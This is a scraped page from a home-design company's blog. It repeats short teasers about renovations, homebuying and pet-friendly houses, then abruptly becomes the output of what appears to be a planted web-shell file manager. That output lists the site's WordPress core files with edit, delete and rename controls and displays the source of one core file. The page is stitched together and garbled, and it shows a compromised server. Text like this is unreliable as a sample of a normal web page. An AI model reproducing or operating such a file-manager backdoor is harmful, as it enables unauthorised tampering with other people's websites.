Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
Recent Posts For
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
We can be happy about many things: it’s going to be sunny today; your favorite team won the game; the item you’ve been eyeing went on sale. Joy is different. Joy is about deep relational connection, that according to clinical psychologist Dr. Jim Wilder, comes from being with people who are glad to be with you. We yearn for this joy, as we came to realize during Covid-19’s forced isolation. Gathering together is life-giving, and a fundamental consideration of residential design. How our homes accommodate or frustrate, how we like to socialize will have a profound impact on our happiness.
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
Few things you’ll do in your life are as simultaneously thrilling and terrifying as buying a home. To an extent, these conflicting excitements and fears are unavoidable. But the fears don’t have to be quite as bad as they’re sometimes made out to be — particularly with regard to pure finances.
Putting money back into your home can be a huge advantage for many people. While you may be sacrificing some money upfront to finance renovations, luckily you will be able to reacquire some cash on the back end if you ever sell your home.
Eco-friendly home upgrades can be beneficial for a variety of reasons for both you and the environment. From installing new systems and appliances to reducing our waste, every green choice we make helps us create a better environment for the planet. It’s important as...
Adding new home plans to your portfolio is risky. Will the design attract buyers? How much will that home cost to build? Design Basics’ Concierge Service is designed to help you minimize such risks. We know what is selling in terms of home design. Based on your goals...
Always on the go? Then you're sure to appreciate our Travel Center option, designed to keep everything handy and make packing a snap! You know where your suitcase has been...so you're probably not going to want to pack it on the clean bedspread! Our travel center was...
Are your dogs treated as full-fledged family members? For many of the 4 in 10 U.S. households with dogs, the answer is “Yes!” From floor plan layouts to material selections to innovative amenities, pet-centric homes make life better for Spot and his owners. Studies...
Current Dir: /var/www/designbasics/wp-includes/ [DIR] ID3 [ delete | rename ] [DIR] IXR [ delete | rename ] [DIR] PHPMailer [ delete | rename ] [DIR] Requests [ delete | rename ] [DIR] SimplePie [ delete | rename ] [DIR] Text [ delete | rename ] [FILE] admin-bar.php [ edit | delete | rename ] [DIR] assets [ delete | rename ] [FILE] atomlib.php [ edit | delete | rename ] [FILE] author-template.php [ edit | delete | rename ] [DIR] block-bindings [ delete | rename ] [FILE] block-bindings.php [ edit | delete | rename ] [FILE] block-editor.php [ edit | delete | rename ] [FILE] block-i18n.json [ edit | delete | rename ] [DIR] block-patterns [ delete | rename ] [FILE] block-patterns.php [ edit | delete | rename ] [DIR] block-supports [ delete | rename ] [FILE] block-template-utils.php [ edit | delete | rename ] [FILE] block-template.php [ edit | delete | rename ] [DIR] blocks [ delete | rename ] [FILE] blocks.php [ edit | delete | rename ] [FILE] bookmark-template.php [ edit | delete | rename ] [FILE] bookmark.php [ edit | delete | rename ] [FILE] cache-compat.php [ edit | delete | rename ] [FILE] cache.php [ edit | delete | rename ] [FILE] canonical.php [ edit | delete | rename ] [FILE] capabilities.php [ edit | delete | rename ] [FILE] category-template.php [ edit | delete | rename ] [FILE] category.php [ edit | delete | rename ] [DIR] certificates [ delete | rename ] [FILE] class-IXR.php [ edit | delete | rename ] [FILE] class-avif-info.php [ edit | delete | rename ] [FILE] class-feed.php [ edit | delete | rename ] [FILE] class-http.php [ edit | delete | rename ] [FILE] class-json.php [ edit | delete | rename ] [FILE] class-oembed.php [ edit | delete | rename ] [FILE] class-phpass.php [ edit | delete | rename ] [FILE] class-phpmailer.php [ edit | delete | rename ] [FILE] class-pop3.php [ edit | delete | rename ] [FILE] class-requests.php [ edit | delete | rename ] [FILE] class-simplepie.php [ edit | delete | rename ] [FILE] class-smtp.php [ edit | delete | rename ] [FILE] class-snoopy.php [ edit | delete | rename ] [FILE] class-walker-category-dropdown.php [ edit | delete | rename ] [FILE] class-walker-category.php [ edit | delete | rename ] [FILE] class-walker-comment.php [ edit | delete | rename ] [FILE] class-walker-nav-menu.php [ edit | delete | rename ] [FILE] class-walker-page-dropdown.php [ edit | delete | rename ] [FILE] class-walker-page.php [ edit | delete | rename ] [FILE] class-wp-admin-bar.php [ edit | delete | rename ] [FILE] class-wp-ajax-response.php [ edit | delete | rename ] [FILE] class-wp-application-passwords.php [ edit | delete | rename ] [FILE] class-wp-block-bindings-registry.php [ edit | delete | rename ] [FILE] class-wp-block-bindings-source.php [ edit | delete | rename ] [FILE] class-wp-block-editor-context.php [ edit | delete | rename ] [FILE] class-wp-block-list.php [ edit | delete | rename ] [FILE] class-wp-block-parser-block.php [ edit | delete | rename ] [FILE] class-wp-block-parser-frame.php [ edit | delete | rename ] [FILE] class-wp-block-parser.php [ edit | delete | rename ] [FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename ] [FILE] class-wp-block-patterns-registry.php [ edit | delete | rename ] [FILE] class-wp-block-styles-registry.php [ edit | delete | rename ] [FILE] class-wp-block-supports.php [ edit | delete | rename ] [FILE] class-wp-block-template.php [ edit | delete | rename ] [FILE] class-wp-block-type-registry.php [ edit | delete | rename ] [FILE] class-wp-block-type.php [ edit | delete | rename ] [FILE] class-wp-block.php [ edit | delete | rename ] [FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename ] [FILE] class-wp-comment-query.php [ edit | delete | rename ] [FILE] class-wp-comment.php [ edit | delete | rename ] [FILE] class-wp-customize-control.php [ edit | delete | rename ] [FILE] class-wp-customize-manager.php [ edit | delete | rename ] [FILE] class-wp-customize-nav-menus.php [ edit | delete | rename ] [FILE] class-wp-customize-panel.php [ edit | delete | rename ] [FILE] class-wp-customize-section.php [ edit | delete | rename ] [FILE] class-wp-customize-setting.php [ edit | delete | rename ] [FILE] class-wp-customize-widgets.php [ edit | delete | rename ] [FILE] class-wp-date-query.php [ edit | delete | rename ] [FILE] class-wp-dependencies.php [ edit | delete | rename ] [FILE] class-wp-dependency.php [ edit | delete | rename ] [FILE] class-wp-duotone.php [ edit | delete | rename ] [FILE] class-wp-editor.php [ edit | delete | rename ] [FILE] class-wp-embed.php [ edit | delete | rename ] [FILE] class-wp-error.php [ edit | delete | rename ] [FILE] class-wp-fatal-error-handler.php [ edit | delete | rename ] [FILE] class-wp-feed-cache-transient.php [ edit | delete | rename ] [FILE] class-wp-feed-cache.php [ edit | delete | rename ] [FILE] class-wp-hook.php [ edit | delete | rename ] [FILE] class-wp-http-cookie.php [ edit | delete | rename ] [FILE] class-wp-http-curl.php [ edit | delete | rename ] [FILE] class-wp-http-encoding.php [ edit | delete | rename ] [FILE] class-wp-http-ixr-client.php [ edit | delete | rename ] [FILE] class-wp-http-proxy.php [ edit | delete | rename ] [FILE] class-wp-http-requests-hooks.php [ edit | delete | rename ] [FILE] class-wp-http-requests-response.php [ edit | delete | rename ] [FILE] class-wp-http-response.php [ edit | delete | rename ] [FILE] class-wp-http-streams.php [ edit | delete | rename ] [FILE] class-wp-http.php [ edit | delete | rename ] [FILE] class-wp-image-editor-gd.php [ edit | delete | rename ] [FILE] class-wp-image-editor-imagick.php [ edit | delete | rename ] [FILE] class-wp-image-editor.php [ edit | delete | rename ] [FILE] class-wp-list-util.php [ edit | delete | rename ] [FILE] class-wp-locale-switcher.php [ edit | delete | rename ] [FILE] class-wp-locale.php [ edit | delete | rename ] [FILE] class-wp-matchesmapregex.php [ edit | delete | rename ] [FILE] class-wp-meta-query.php [ edit | delete | rename ] [FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename ] [FILE] class-wp-navigation-fallback.php [ edit | delete | rename ] [FILE] class-wp-network-query.php [ edit | delete | rename ] [FILE] class-wp-network.php [ edit | delete | rename ] [FILE] class-wp-object-cache.php [ edit | delete | rename ] [FILE] class-wp-oembed-controller.php [ edit | delete | rename ] [FILE] class-wp-oembed.php [ edit | delete | rename ] [FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename ] [FILE] class-wp-plugin-dependencies.php [ edit | delete | rename ] [FILE] class-wp-post-type.php [ edit | delete | rename ] [FILE] class-wp-post.php [ edit | delete | rename ] [FILE] class-wp-query.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename ] [FILE] class-wp-recovery-mode.php [ edit | delete | rename ] [FILE] class-wp-rewrite.php [ edit | delete | rename ] [FILE] class-wp-role.php [ edit | delete | rename ] [FILE] class-wp-roles.php [ edit | delete | rename ] [FILE] class-wp-script-modules.php [ edit | delete | rename ] [FILE] class-wp-scripts.php [ edit | delete | rename ] [FILE] class-wp-session-tokens.php [ edit | delete | rename ] [FILE] class-wp-simplepie-file.php [ edit | delete | rename ] [FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename ] [FILE] class-wp-site-query.php [ edit | delete | rename ] [FILE] class-wp-site.php [ edit | delete | rename ] [FILE] class-wp-styles.php [ edit | delete | rename ] [FILE] class-wp-tax-query.php [ edit | delete | rename ] [FILE] class-wp-taxonomy.php [ edit | delete | rename ] [FILE] class-wp-term-query.php [ edit | delete | rename ] [FILE] class-wp-term.php [ edit | delete | rename ] [FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename ] [FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename ] [FILE] class-wp-textdomain-registry.php [ edit | delete | rename ] [FILE] class-wp-theme-json-data.php [ edit | delete | rename ] [FILE] class-wp-theme-json-resolver.php [ edit | delete | rename ] [FILE] class-wp-theme-json-schema.php [ edit | delete | rename ] [FILE] class-wp-theme-json.php [ edit | delete | rename ] [FILE] class-wp-theme.php [ edit | delete | rename ] [FILE] class-wp-token-map.php [ edit | delete | rename ] [FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename ] [FILE] class-wp-user-query.php [ edit | delete | rename ] [FILE] class-wp-user-request.php [ edit | delete | rename ] [FILE] class-wp-user.php [ edit | delete | rename ] [FILE] class-wp-walker.php [ edit | delete | rename ] [FILE] class-wp-widget-factory.php [ edit | delete | rename ] [FILE] class-wp-widget.php [ edit | delete | rename ] [FILE] class-wp-xmlrpc-server.php [ edit | delete | rename ] [FILE] class-wp.php [ edit | delete | rename ] [FILE] class-wpdb.php [ edit | delete | rename ] [FILE] class.wp-dependencies.php [ edit | delete | rename ] [FILE] class.wp-scripts.php [ edit | delete | rename ] [FILE] class.wp-styles.php [ edit | delete | rename ] [FILE] comment-template.php [ edit | delete | rename ] [FILE] comment.php [ edit | delete | rename ] [FILE] compat.php [ edit | delete | rename ] [FILE] cron.php [ edit | delete | rename ] [DIR] css [ delete | rename ] [DIR] customize [ delete | rename ] [FILE] date.php [ edit | delete | rename ] [FILE] default-constants.php [ edit | delete | rename ] [FILE] default-filters.php [ edit | delete | rename ] [FILE] default-widgets.php [ edit | delete | rename ] [FILE] deprecated.php [ edit | delete | rename ] [FILE] embed-template.php [ edit | delete | rename ] [FILE] embed.php [ edit | delete | rename ] [FILE] error-protection.php [ edit | delete | rename ] [FILE] feed-atom-comments.php [ edit | delete | rename ] [FILE] feed-atom.php [ edit | delete | rename ] [FILE] feed-rdf.php [ edit | delete | rename ] [FILE] feed-rss.php [ edit | delete | rename ] [FILE] feed-rss2-comments.php [ edit | delete | rename ] [FILE] feed-rss2.php [ edit | delete | rename ] [FILE] feed.php [ edit | delete | rename ] [DIR] fonts [ delete | rename ] [FILE] fonts.php [ edit | delete | rename ] [FILE] formatting.php [ edit | delete | rename ] [FILE] functions.php [ edit | delete | rename ] [FILE] functions.wp-scripts.php [ edit | delete | rename ] [FILE] functions.wp-styles.php [ edit | delete | rename ] [FILE] general-template.php [ edit | delete | rename ] [FILE] global-styles-and-settings.php [ edit | delete | rename ] [DIR] html-api [ delete | rename ] [FILE] http.php [ edit | delete | rename ] [FILE] https-detection.php [ edit | delete | rename ] [FILE] https-migration.php [ edit | delete | rename ] [DIR] images [ delete | rename ] [DIR] interactivity-api [ delete | rename ] [DIR] js [ delete | rename ] [FILE] kses.php [ edit | delete | rename ] [DIR] l10n [ delete | rename ] [FILE] l10n.php [ edit | delete | rename ] [FILE] link-template.php [ edit | delete | rename ] [FILE] load.php [ edit | delete | rename ] [FILE] locale.php [ edit | delete | rename ] [FILE] media-template.php [ edit | delete | rename ] [FILE] media.php [ edit | delete | rename ] [FILE] meta.php [ edit | delete | rename ] [FILE] ms-blogs.php [ edit | delete | rename ] [FILE] ms-default-constants.php [ edit | delete | rename ] [FILE] ms-default-filters.php [ edit | delete | rename ] [FILE] ms-deprecated.php [ edit | delete | rename ] [FILE] ms-files.php [ edit | delete | rename ] [FILE] ms-functions.php [ edit | delete | rename ] [FILE] ms-load.php [ edit | delete | rename ] [FILE] ms-network.php [ edit | delete | rename ] [FILE] ms-settings.php [ edit | delete | rename ] [FILE] ms-site.php [ edit | delete | rename ] [FILE] nav-menu-template.php [ edit | delete | rename ] [FILE] nav-menu.php [ edit | delete | rename ] [FILE] option.php [ edit | delete | rename ] [DIR] php-compat [ delete | rename ] [FILE] pluggable-deprecated.php [ edit | delete | rename ] [FILE] pluggable.php [ edit | delete | rename ] [FILE] plugin.php [ edit | delete | rename ] [DIR] pomo [ delete | rename ] [FILE] post-formats.php [ edit | delete | rename ] [FILE] post-template.php [ edit | delete | rename ] [FILE] post-thumbnail-template.php [ edit | delete | rename ] [FILE] post.php [ edit | delete | rename ] [FILE] query.php [ edit | delete | rename ] [FILE] registration-functions.php [ edit | delete | rename ] [FILE] registration.php [ edit | delete | rename ] [DIR] rest-api [ delete | rename ] [FILE] rest-api.php [ edit | delete | rename ] [FILE] revision.php [ edit | delete | rename ] [FILE] rewrite.php [ edit | delete | rename ] [FILE] robots-template.php [ edit | delete | rename ] [FILE] rss-functions.php [ edit | delete | rename ] [FILE] rss.php [ edit | delete | rename ] [FILE] script-loader.php [ edit | delete | rename ] [FILE] script-modules.php [ edit | delete | rename ] [FILE] session.php [ edit | delete | rename ] [FILE] shortcodes.php [ edit | delete | rename ] [DIR] sitemaps [ delete | rename ] [FILE] sitemaps.php [ edit | delete | rename ] [DIR] sodium_compat [ delete | rename ] [FILE] spl-autoload-compat.php [ edit | delete | rename ] [DIR] style-engine [ delete | rename ] [FILE] style-engine.php [ edit | delete | rename ] [FILE] taxonomy.php [ edit | delete | rename ] [FILE] template-canvas.php [ edit | delete | rename ] [FILE] template-loader.php [ edit | delete | rename ] [FILE] template.php [ edit | delete | rename ] [DIR] theme-compat [ delete | rename ] [FILE] theme-i18n.json [ edit | delete | rename ] [FILE] theme-previews.php [ edit | delete | rename ] [FILE] theme-templates.php [ edit | delete | rename ] [FILE] theme.json [ edit | delete | rename ] [FILE] theme.php [ edit | delete | rename ] [FILE] update.php [ edit | delete | rename ] [FILE] user.php [ edit | delete | rename ] [FILE] vars.php [ edit | delete | rename ] [FILE] version.php [ edit | delete | rename ] [DIR] widgets [ delete | rename ] [FILE] widgets.php [ edit | delete | rename ] [FILE] wp-db.php [ edit | delete | rename ] [FILE] wp-diff.php [ edit | delete | rename ] Viewing: /var/www/designbasics/wp-includes/block-template.php <?php /** * Block template loader functions. * * @package WordPress */ /** * Adds necessary hooks to resolve '_wp-find-template' requests. * * @access private * @since 5.9.0 */ function _add_template_loader_filters() { if ( isset( $_GET['_wp-find-template'] ) && current_theme_supports( 'block-templates' ) ) { add_action( 'pre_get_posts', '_resolve_template_for_new_post' ); } } /** * Finds a block template with equal or higher specificity than a given PHP template file. * * Internally, this communicates the block content that needs to be used by the template canvas through a global variable. * * @since 5.8.0 * @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar. * * @global string $_wp_current_template_content * @global string $_wp_current_template_id * * @param string $template Path to the template. See locate_template(). * @param string $type Sanitized filename without extension. * @param string[] $templates A list of template candidates, in descending order of priority. * @return string The path to the Site Editor template canvas file, or the fallback PHP template. */ function locate_block_template( $template, $type, array $templates ) { global $_wp_current_template_content, $_wp_current_template_id; if ( ! current_theme_supports( 'block-templates' ) ) { return $template; } if ( $template ) { /* * locate_template() has found a PHP template at the path specified by $template. * That means that we have a fallback candidate if we cannot find a block template * with higher specificity. * * Thus, before looking for matching block themes, we shorten our list of candidate * templates accordingly. */ // Locate the index of $template (without the theme directory path) in $templates. $relative_template_path = str_replace( array( get_stylesheet_directory() . '/', get_template_directory() . '/' ), '', $template ); $index = array_search( $relative_template_path, $templates, true ); // If the template hierarchy algorithm has successfully located a PHP template file, // we will only consider block templates with higher or equal specificity. $templates = array_slice( $templates, 0, $index + 1 ); } $block_template = resolve_block_template( $type, $templates, $template ); if ( $block_template ) { $_wp_current_template_id = $block_template->id; if ( empty( $block_template->content ) && is_user_logged_in() ) { $_wp_current_template_content = sprintf( /* translators: %s: Template title */ __( 'Empty template: %s' ), $block_template->title ); } elseif ( ! empty( $block_template->content ) ) { $_wp_current_template_content = $block_template->content; } if ( isset( $_GET['_wp-find-template'] ) ) { wp_send_json_success( $block_template ); } } else { if ( $template ) { return $template; } if ( 'index' === $type ) { if ( isset( $_GET['_wp-find-template'] ) ) { wp_send_json_error( array( 'message' => __( 'No matching template found.' ) ) ); } } else { return ''; // So that the template loader keeps looking for templates. } } // Add hooks for template canvas. // Add viewport meta tag. add_action( 'wp_head', '_block_template_viewport_meta_tag', 0 ); // Render title tag with content, regardless of whether theme has title-tag support. remove_action( 'wp_head', '_wp_render_title_tag', 1 ); // Remove conditional title tag rendering... add_action( 'wp_head', '_block_template_render_title_tag', 1 ); // ...and make it unconditional. // This file will be included instead of the theme's template file. return ABSPATH . WPINC . '/template-canvas.php'; } /** * Returns the correct 'wp_template' to render for the request template type. * * @access private * @since 5.8.0 * @since 5.9.0 Added the `$fallback_template` parameter. * * @param string $template_type The current template type. * @param string[] $template_hierarchy The current template hierarchy, ordered by priority. * @param string $fallback_template A PHP fallback template to use if no matching block template is found. * @return WP_Block_Template|null template A template object, or null if none could be found. */ function resolve_block_template( $template_type, $template_hierarchy, $fallback_template ) { if ( ! $template_type ) { return null; } if ( empty( $template_hierarchy ) ) { $template_hierarchy = array( $template_type ); } $slugs = array_map( '_strip_template_file_suffix', $template_hierarchy ); // Find all potential templates 'wp_template' post matching the hierarchy. $query = array( 'slug__in' => $slugs, ); $templates = get_block_templates( $query ); // Order these templates per slug priority. // Build map of template slugs to their priority in the current hierarchy. $slug_priorities = array_flip( $slugs ); usort( $templates, static function ( $template_a, $template_b ) use ( $slug_priorities ) { return $slug_priorities[ $template_a->slug ] - $slug_priorities[ $template_b->slug ]; } ); $theme_base_path = get_stylesheet_directory() . DIRECTORY_SEPARATOR; $parent_theme_base_path = get_template_directory() . DIRECTORY_SEPARATOR; // Is the active theme a child theme, and is the PHP fallback template part of it? if ( str_starts_with( $fallback_template, $theme_base_path ) && ! str_contains( $fallback_template, $parent_theme_base_path ) ) { $fallback_template_slug = substr( $fallback_template, // Starting position of slug. strpos( $fallback_template, $theme_base_path ) + strlen( $theme_base_path ), // Remove '.php' suffix. -4 ); // Is our candidate block template's slug identical to our PHP fallback template's? if ( count( $templates ) && $fallback_template_slug === $templates[0]->slug && 'theme' === $templates[0]->source ) { // Unfortunately, we cannot trust $templates[0]->theme, since it will always // be set to the active theme's slug by _build_block_template_result_from_file(), // even if the block template is really coming from the active theme's parent. // (The reason for this is that we want it to be associated with the active theme // -- not its parent -- once we edit it and store it to the DB as a wp_template CPT.) // Instead, we use _get_block_template_file() to locate the block template file. $template_file = _get_block_template_file( 'wp_template', $fallback_template_slug ); if ( $template_file && get_template() === $template_file['theme'] ) { // The block template is part of the parent theme, so we // have to give precedence to the child theme's PHP template. array_shift( $templates ); } } } return count( $templates ) ? $templates[0] : null; } /** * Displays title tag with content, regardless of whether theme has title-tag support. * * @access private * @since 5.8.0 * * @see _wp_render_title_tag() */ function _block_template_render_title_tag() { echo '<title>' . wp_get_document_title() . '</title>' . "\n"; } /** * Returns the markup for the current template. * * @access private * @since 5.8.0 * * @global string $_wp_current_template_id * @global string $_wp_current_template_content * @global WP_Embed $wp_embed WordPress Embed object. * @global WP_Query $wp_query WordPress Query object. * * @return string Block template markup. */ function get_the_block_template_html() { global $_wp_current_template_id, $_wp_current_template_content, $wp_embed, $wp_query; if ( ! $_wp_current_template_content ) { if ( is_user_logged_in() ) { return '<h1>' . esc_html__( 'No matching template found' ) . '</h1>'; } return; } $content = $wp_embed->run_shortcode( $_wp_current_template_content ); $content = $wp_embed->autoembed( $content ); $content = shortcode_unautop( $content ); $content = do_shortcode( $content ); /* * Most block themes omit the `core/query` and `core/post-template` blocks in their singular content templates. * While this technically still works since singular content templates are always for only one post, it results in * the main query loop never being entered which causes bugs in core and the plugin ecosystem. * * The workaround below ensures that the loop is started even for those singular templates. The while loop will by * definition only go through a single iteration, i.e. `do_blocks()` is only called once. Additional safeguard * checks are included to ensure the main query loop has not been tampered with and really only encompasses a * single post. * * Even if the block template contained a `core/query` and `core/post-template` block referencing the main query * loop, it would not cause errors since it would use a cloned instance and go through the same loop of a single * post, within the actual main query loop. * * This special logic should be skipped if the current template does not come from the current theme, in which case * it has been injected by a plugin by hijacking the block template loader mechanism. In that case, entirely custom * logic may be applied which is unpredictable and therefore safer to omit this special handling on. */ if ( $_wp_current_template_id && str_starts_with( $_wp_current_template_id, get_stylesheet() . '//' ) && is_singular() && 1 === $wp_query->post_count && have_posts() ) { while ( have_posts() ) { the_post(); $content = do_blocks( $content ); } } else { $content = do_blocks( $content ); } $content = wptexturize( $content ); $content = convert_smilies( $content ); $content = wp_filter_content_tags( $content, 'template' ); $content = str_replace( ']]>', ']]>', $content ); // Wrap block template in .wp-site-blocks to allow for specific descendant styles // (e.g. `.wp-site-blocks > *`). return '<div class="wp-site-blocks">' . $content . '</div>'; } /** * Renders a 'viewport' meta tag. * * This is hooked into {@see 'wp_head'} to decouple its output from the default template canvas. * * @access private * @since 5.8.0 */ function _block_template_viewport_meta_tag() { echo '<meta name="viewport" content="width=device-width, initial-scale=1" />' . "\n"; } /** * Strips .php or .html suffix from template file names. * * @access private * @since 5.8.0 * * @param string $template_file Template file name. * @return string Template file name without extension. */ function _strip_template_file_suffix( $template_file ) { return preg_replace( '/\.(php|html)$/', '', $template_file ); } /** * Removes post details from block context when rendering a block template. * * @access private * @since 5.8.0 * * @param array $context Default context. * * @return array Filtered context. */ function _block_template_render_without_post_block_context( $context ) { /* * When loading a template directly and not through a page that resolves it, * the top-level post ID and type context get set to that of the template. * Templates are just the structure of a site, and they should not be available * as post context because blocks like Post Content would recurse infinitely. */ if ( isset( $context['postType'] ) && 'wp_template' === $context['postType'] ) { unset( $context['postId'] ); unset( $context['postType'] ); } return $context; } /** * Sets the current WP_Query to return auto-draft posts. * * The auto-draft status indicates a new post, so allow the the WP_Query instance to * return an auto-draft post for template resolution when editing a new post. * * @access private * @since 5.9.0 * * @param WP_Query $wp_query Current WP_Query instance, passed by reference. */ function _resolve_template_for_new_post( $wp_query ) { if ( ! $wp_query->is_main_query() ) { return; } remove_filter( 'pre_get_posts', '_resolve_template_for_new_post' ); // Pages. $page_id = isset( $wp_query->query['page_id'] ) ? $wp_query->query['page_id'] : null; // Posts, including custom post types. $p = isset( $wp_query->query['p'] ) ? $wp_query->query['p'] : null; $post_id = $page_id ? $page_id : $p; $post = get_post( $post_id ); if ( $post && 'auto-draft' === $post->post_status && current_user_can( 'edit_post', $post->ID ) ) { $wp_query->set( 'post_status', 'auto-draft' ); } }